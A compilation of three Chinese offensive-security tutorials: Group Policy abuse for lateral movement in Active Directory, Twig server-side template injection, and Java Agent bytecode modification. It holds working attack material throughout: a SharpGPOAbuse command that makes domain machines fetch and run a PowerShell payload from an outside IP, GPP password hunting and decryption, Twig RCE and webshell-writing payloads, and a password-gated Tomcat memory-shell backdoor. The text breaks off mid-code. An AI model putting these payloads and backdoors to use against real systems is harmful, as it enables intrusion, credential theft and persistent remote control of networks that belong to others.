组策略(GPO)利用与横向移动
组策略(GPO)利用与横向移动
组策略介绍
组策略(英语:Group Policy)是微软https://baike.baidu.com/item/Windows%20NT家族https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和https://baike.baidu.com/item/%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且
通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。 例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。
组策略分类
本地组策略
本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
显示文件:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了
域组策略
当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。
通过在域中下发脚本来执行
在组策略首选项GPP中进行设置
本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)
这里需要了解下AD域中两个默认的共享文件夹:SYSVOL NETLOGON
NETLOGON目录
挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹
SYSVOL目录
SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。
此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它
在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息
该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
如果更改权限,这个地方会显示拒绝访问
* 组策略链接
以Default Domain Policy为例,在右边的作用域里面,可以看到它链接到demo.com整个域,也就是说在demo.com域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点、域以及OU。
比如说xsf这条组策略。它就链接到xs这个OU。加入xs这个OU的所有计算机以及用户会受到影响。
* 组策略内容
右键组策略,选择保存报告,可以将组策略的内容导出为htlm。
可以看到它配置的一些内容,设置密码最长期限为42天,最短密码长度为7个字符等。
如果想配置这条组策略的内容,在组策略条目上右键编辑,打开组策略编辑器。可以看到左边分为计算机配置以及用户配置。在里面的配置分别作用于计算机和用户。
在配置底下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。
对于很多系统设置来说,既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。
* 组策略更新
默认情况下,客户端更新组策略的方式主要有
后台轮询检查sysvol里的GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔90分钟更新一次,并将时间作0到30分钟的随机调整。域控制器上的组策略会每隔5分钟更新一次。
用户开机登录时,会检查sysvol里的GPT.ini,如果高于本地保存的组策略版本,将会更新本地的组策略。
客户端强制更新,执行gpupdate /force。
域控强制客户端更新(不会比较域共享目录中组策略的版本),执行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(2008 R2默认不支持该命令,2012支持)
组策略应用顺序:
应用本地组策略 → 如果有站点组策略则应用 → 应用域策略 → 应用OU上的策略。
如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。如果多个组策略设置冲突,则后应用的组策略覆盖先应用的组策略。
* 组策略存储
每条组策略可以看做是存储在域级别的一个虚拟对象,叫做GPO。每个GPO有唯一标志,用来标识每条组策略(或者说每个GPO),GPO在域内存储分为两个部分:GPC、GPT。
GPC位于LDAP中,CN=Policies,CN=System,<BaseDn>下,每个条目对应一个GPC。包含了GPO属性,例如版本信息,GPO状态和其他组件设置。
GPT位于\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中。域内任何人都可以读取\\<DOMAIN>\SYSVOL\<DOMAIN>\这个默认的共享路径下的内容。
GPC里面的gPCFileSysPath属性链接到GPT里面。GPT是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。
在域、站点、OU上的gPLink属性来标识链接到这里的组策略,gPOptions属性来标识组策略是否会继承。
组策略利用
GPO常用命令
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy –verbose
#获得所有GPO的内容
Get-GPO -All
#将所有GPO导出为一个HTML报告
Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html
#将每个GPO单独导出一个HTML报告
Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}
#查看指定GPO的权限设置
Get-GPPermission -Name "客服部组策略" -All
#备份指定GPO
Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups
#备份所有GPO
Backup-Gpo -All -Path "c:\GpoBackups"
#还原指定GPO
Restore-GPO -Name TestGPO1 -Path C:\GpoBackups
#还原所有GPO
Restore-GPO -All -Path "c:\GpoBackups"
利用SYSVOL还原组策略中的密码
如果在组策略中输入了密码,如以用户身份运行程序、修改域内主机内置administrator用户密码等操作。
然后可以在GPT中看到加密后的密码(AES-256)
C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
可以通过以下命令来快速搜索(网上有解密方法)
findstr /S cpassword \\192.168.40.154\sysvol\*.xml
for /r \\192.168.40.154/sysvol %i in (*.xml) do @echo %i
得到cpassword后可以通过kali中的gpp-decryp 去解密
利用https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1,自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码。
组策略横向
在拿到域控之后,有时候可能网络ACL到达不了目标电脑,可以通过组策略进行横向。攻击者可以利用组策略来推出恶意软件、创建/修改计划任务、降级凭据保护、向所有计算机添加新的本地帐户被添加到本地管理员组。更改现有的安全策略,启用明文密码提取。
实验环境如下:
域控:AD-2008(192.168.40.154),demo\administrator:vulnstack4.
域机器:win7(192.168.40.157),demo\administrator:vulnstack4.
目前已经拿下域控,域成员机开启了防火墙,并且禁止了445,135等端口的访问,传统的psexec和winrm以及pth等横向移动无法直接拿下成员机
计划任务
自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。
https://github.com/FSecureLABS/SharpGPOAbuse
创建GPO
powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02
将GPO链接到域demo.com,需要域管权限。
powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com"
#添加定时任务 --TargetDnsName指定计算机
execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabl
即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。
在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新
gpupdate /force
这时候可以看到域成员机上线
删除gpo
powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2
参考:
https://xz.aliyun.com/t/9511https://www.anquanke.com/post/id/203151#h3-22
以Twig模板为例浅学一手SSTI
什么是SSTI
SSTI:开局一张图,姿势全靠y
SSTI,即服务器端模板注入(Server-Side Template Injection)
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入的成因是从用户获得一个输入后,经过后端脚本语言进行数据库查询,这时我们就可以构造输入语句来进行拼接,从而实现我们想要的sql语句
SSTI也是如此,不过SSTI是在服务端接收了输入后,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,将恶意语句进行了拼接,因此可能造成敏感信息泄露、代码执行、getshell等问题
在这我会简单以常见的Twig模板引擎进行演示,有所遗漏错误,欢迎各位师傅们进行补充纠正
模板引擎
模板是一种提供给程序进行解析的一种语法,从初始数据到实际的视觉表达靠的就是这一项工作所实现的,且这种手段是同时存在于前后端的
常见的模板引擎有
1.php 常用的
Smarty
Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛
Twig
Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
Blade
Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。
2.Java 常用的
JSP
这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典
FreeMarker
FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
Velocity
Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
3.Python 常用的
Jinja2
flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎
django
django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
tornado
tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
形形色色的模板引擎为了达到渲染效果,总会对用户输入有所处理,这也就给攻击者提供了道路,尽管模板引擎也会相应提供沙箱机制进行保护,但是也存在沙箱逃逸技术可以进行绕过
攻击思路
找到模板是什么模板引擎,是哪个版本的,然后设法利用模板的内置方法,进行rce、getshell
PHP-Twig
Twig 被许多开源项目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;许多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。
本地复现可以用composer搭建
在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息(虽然经常会被ban就是...)
{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
基础语法
模板其实就是一个文本文件,它可以生成我们需要的任何基于文本的格式文件(html、xml、csv等)
它也没有特别的拓展后缀名,.html、.xml、.twig都可
这里主要讲一些我们在利用时会用到的基础知识
变量
应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, foo['bar'] :
{{ foo.bar }}
{{ foo['bar'] }}
全局变量
模板中始终提供以下变量:
_self :引用当前模板名称;(在twig1.x和2.x/3.x作用不一)
_context :引用当前上下文;
_charset :引用当前字符集。
设置变量
可以为代码块内的变量赋值。赋值使用set标签:
{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}
过滤器
变量可以修改为 过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。
下面的示例从 name 标题是:
{{ name|striptags|title }}接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素:
{{ list|join }}
{{ list|join(', ') }}
// {{ ['a', 'b', 'c']|join }}
// Output: abc
// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c若要对代码部分应用筛选器,请使用apply标签:
{% apply upper %}
This text becomes uppercase
{% endapply %}过滤器有很多,但是我们常用的一般就map、sort、filter、reduce
更多内置过滤器请参考:https://twig.symfony.com/doc/3.x/filters/index.html
控制结构
控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环,以及程序块之类的东西。控制结构出现在 {{% ... %}} 中
例如,要显示在名为 users 使用for标签:
<h1>Members</h1>
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>if标记可用于测试表达式:
{% if users|length > 0 %}
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
{% endif %}更多 tags 请参考:https://twig.symfony.com/doc/3.x/tags/index.html
函数
在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表:
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
// Output: 0, 1, 2, 3,
更多内置函数请参考:https://twig.symfony.com/doc/3.x/functions/index.html
注释
要在模板中注释某一行,可以使用注释语法 {# ...#}
{# note: disabled template because we no longer use this
{% for user in users %}
...
{% endfor %}
#}
引入其他模板
Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板
{{ include('sidebar.html') }}
模板继承
Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。
从一个例子开始更容易理解这个概念。
让我们定义一个基本模板, base.html ,它定义了可用于两列页面的HTML框架文档:
<!DOCTYPE html>
<html>
<head>
{% block head %}
<link rel="stylesheet" href="style.css"/>
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
© Copyright 2011 by <a href="http://domain.invalid/">you</a>.
{% endblock %}
</div>
</body>
</html>在这个例子中,block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。
子模板可能如下所示:
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ parent() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<h1>Index</h1>
<p class="important">
Welcome to my awesome homepage.
</p>
{% endblock %}其中的 extends 标签是关键所在,其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。
更多 Twig 的语法请参考:https://twig.symfony.com/doc/3.x/
1.x
在twig 1.x版本,存在三个全局变量
_self:引用当前模板实例
_context:引用上下文
_charset:引用当前字符集
其相对应的代码如下
protected $specialVars = [
'_self' => '$this',
'_context' => '$context',
'_charset' => '$this->env->getCharset()',
];在twig 1.x中,主要利用的是_self变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法
payload
setCache方法
{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}
通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含
getFilter方法
在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数
#getFilter
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串
2.x&3.x
在这里我用twig3.x+php7.3.4作为示例
用PHP的API调用twig
index.php
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();在twig2.x/3.x中,_self不再像1.x时那么有他独特的作用,但是也相应更新了一些特殊方法来供我们利用
map过滤器
map
这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值:
{% set people = [
{first: "Bob", last: "Smith"},
{first: "Alice", last: "Dupond"},
] %}
{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}
arrow函数还接收密钥作为第二个参数:
{% set people = {
"Bob": "Smith",
"Alice": "Dupond",
} %}
{{ people|map((last, first) => "#{first} #{last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}
注意arrow函数可以访问当前上下文。
可以看出允许用户传一个arrow 函数,arrow 函数最后会变成一个closure
举个例子
当我们传入
{{["man"]|map((arg)=>"hello #{arg}")}}在模板中会被编译为
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))map所对应的函数如下
function twig_array_map($array $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v $k);
}
return $r;
}我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v 和 $k 分别是 $array 中的 value 和 key
所以$array和$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce
经过查询,有如下几种常见命令执行函数
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string有两个参数的函数就上面三种,其对应payload
{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}} // 无回显
但是当上面的都被ban了呢,我们还有没有其他方法rce
当然,例如
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int当我们找到路径后就可以利用该函数进行写shell了
?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}}
根据map过滤器的利用思路,我们可以再找到其他类似的,带有$arrow参数的
sort过滤器
sort
这个 sort 筛选器对数组排序:
{% for user in users|sort %}
...
{% endfor %}
注解
在内部,Twig使用PHP https://secure.php.net/asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。
您可以传递一个箭头函数来对数组进行排序:
{% set fruits = [
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
] %}
{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
{{ fruit }}
{% endfor %}
{# output in this order: Oranges, Grapes, Apples #}
注意 spaceship 运算符来简化比较。
类似于map,sort在模板编译时也会进入twig_sort_filter 函数
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
uasort($array, $arrow); // 直接被 uasort 调用
} else {
asort($array);
}
return $array;
}uasort ( array &$array , callable $value_compare_func ) : bool可以看到,$array 和$arrow直接被uasort调用
uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce
这样我们就可以构造payload了
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 无回显
filter过滤器
filter
这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值:
{% set sizes = [34, 36, 38, 40, 42] %}
{{ sizes|filter(v => v > 38)|join(', ') }}
{# output 40, 42 #}
与 for 标记,它允许筛选要迭代的项:
{% for v in sizes|filter(v => v > 38) -%}
{{ v }}
{% endfor %}
{# output 40 42 #}
它也适用于映射:
{% set sizes = {
xs: 34,
s: 36,
m: 38,
l: 40,
xl: 42,
} %}
{% for k, v in sizes|filter(v => v > 38) -%}
{{ k }} = {{ v }}
{% endfor %}
{# output l = 40 xl = 42 #}
arrow函数还接收密钥作为第二个参数:
{% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%}
{{ k }} = {{ v }}
{% endfor %}
{# output l = 40 #}
注意arrow函数可以访问当前上下文。
类似于map,filter在模板编译时也会进入twig_array_filter 函数
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函数调用
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array可以看到和前面方法类似,我们实验一下
得到payload
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 无回显
{{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}} // 和map过滤器一样可以写 Webshell
reduce 过滤器
reduce
这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值:
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}
这个 reduce 过滤器需要 initial 值作为第二个参数:
{{ numbers|reduce((carry, v) => carry + v, 10) }}
{# output 16 #}
注意arrow函数可以访问当前上下文。
直接来看函数
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}
array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed可以看到array_reduce是有三个参数的
$array 和 $arrow 直接被 array_filter 函数调用,我们可以利用该性质自定义一个危险函数从而达到rce
刚开始还是像前面一样构造
{{["id", 0]|reduce("passthru")}}但是发现没有执行成功,原因是第一次调用的是
passthru($initial, "id")因为$initial为null,所以会报错,我们想要对他进行赋值才行
payload
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显
题目
[BJDCTF2020]Cookie is so stable
进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint
返回访问flag.php
经过简单测试猜测为twig(传入{{7*'7'}}后Jinja2输出7777777,Twig输出49)
同时发现在cookie是我们的输入点,开始查看是什么版本的twig,用_self来测试
cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
twig1.x,我们直接cat /flag试试
cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
基本思路还是测试出为哪个模板,哪个版本,测试payload即可
后言
SSTI 并不广泛存在,但如果开发人员滥用模板引擎,那么就很有可能出现SSTI,并且根据其模板引擎的复杂性和开发语言的特性,很大几率会出现非常严重的问题
联想到最近的log4j2漏洞,与SSTI类似,都是将用户的输入当作可信任内容,这才出现了大大小小的安全问题
一句话总结:永远不要相信用户的输入
Java Agent学习
前言
今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法:
实现premain方法,在JVM启动前加载
实现agentmain方法,在JVM启动后attach加载
因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过https://mp.weixin.qq.com/s/vDIteSf9u32m6odrzWUPSg,因此抱着学习和复习的态度来复现下本文提到的技术点。
JAVA Agent两种方法复现
Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。
premain
通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar:
package com.test;
public class Hello {
public static void main(String[] args) {
hello();
}
public static void hello(){
for (int i = 0; i < 1000; i++) {
System.out.println("hello");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
生成jar包:
Build -> Build Artifacts -> Build
正常运行jar包得到如下输出:
java -jar hello.jar
接下来编写一个实现premain方法的JAVA程序:
package com.test;
import java.lang.instrument.Instrumentation;
public class premainagent {
public static void premain(String args, Instrumentation inst) throws Exception{
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m premain agent!!!");
}
}
}
并在MANIFEST.MF添加一行:
Premain-Class: com.test.premainagent
生成jar包并加载执行:
java -javaagent:premainagent.jar -jar hello.jar
可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容:
前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解:
agentmain
但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。
编写一个实现了agentmain方法的JAVA程序:
package com.test;
import java.lang.instrument.Instrumentation;
public class agentmaintest {
public static void agentmain(String agentArgs, Instrumentation inst) {
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m agentMain!!!");
}
}
}
并在MANIFEST.MF添加一行:
Agent-Class: com.test.agentmaintest
生成jar包。
再编写一个attach程序(附2):
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class TestAgentMain {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{
//获取当前系统中所有 运行中的 虚拟机
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
System.out.println(vmd.displayName());
String aim = args[0];//你的jar包
if (vmd.displayName().endsWith(aim)) {
System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包
virtualMachine.detach();
}
}
}
}
生成jar包。
依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar:
首先运行hello.jar:
java -jar hello.jar
对hello.jar进行启动后的attach加载:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar
发现成功在hello.jar运行过程中进行了字节码修改:
内存马
既然可以修改某个方法的实现,那如果修改spring boot的Filter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。
依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain
得加上这两句:
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行:
Can-Retransform-Classes: true
且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下:
package com.test;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.instrument.IllegalClassFormatException;
import java.io.IOException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
public class memshell {
public static void agentmain(String agentArgs, Instrumentation instrumentation)
throws ClassNotFoundException, UnmodifiableClassException {
instrumentation.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer){
System.out.println("premain load Class2:" + className);
if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){
System.out.println("nonononononono");
return null;
}else {
try {
System.out.println("tryyyyyyyy");
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
String source = "{javax.servlet.http.HttpServletRequest request = $1;" +
"javax.servlet.http.HttpServletResponse response = $2;" +
"request.setCharacterEncoding(\"UTF-8\");" +
"String result = \"\";" +
"String password = request.getParameter(\"password\");" +
"if (password != null && password.equals(\"xxxxxx\")) {" +
"String cmd = request.getParameter(\"cmd\");" +
"if (cmd != null && cmd.length() > 0) {" +
"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
"java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +
"byte[] b = new byte[1024];" +
